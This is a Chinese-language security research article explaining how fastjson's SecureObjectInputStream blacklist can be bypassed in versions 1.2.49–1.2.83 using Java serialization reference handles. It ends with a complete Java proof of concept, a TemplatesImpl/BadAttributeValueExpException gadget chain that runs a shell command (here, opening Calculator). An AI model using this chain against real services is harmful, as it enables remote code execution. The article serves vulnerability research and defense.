作者: Y4tacker
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
很早之前在发第一篇的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过,后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload,至此fastjson全版本就彻底加入原生反序列化的gadget,向师傅们致敬,想着将文章完善的缘故,并且师傅们没有提到具体的原理,因此发个第二篇进行简单介绍。
当然这里不会详细说明完整的序列化与反序列化的过程,如果有感兴趣的可以参考panda师傅的博客,关于序列化流程分析总结与反序列化流程分析总结,里面已经写的很细致了。
之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,
在其SecureObjectInputStream
类当中重写了resolveClass
,通过调用了checkAutoType
方法做类的检查,这样真的是安全的么?
乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream
处理时,触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass
多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上
TestInputStream -> readObject -> resolveClass
为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0
调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
再回到上面这个switch分支的代码,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出
那么就只剩下了reference引用类型了
现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
当我们写入对象时,会在handles
这个哈希表中建立从对象到引用的映射
当再次写入同一对象时,在handles
这个hash表中查到了映射
那么就会通过writeHandle
将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
WriteObjects(arrayList);
简单梳理下
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。
至此fastjson全版本实现了原生反序列化利用
代码测试依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
测试代码以HashMap为例
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Y4HackJSON {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2067/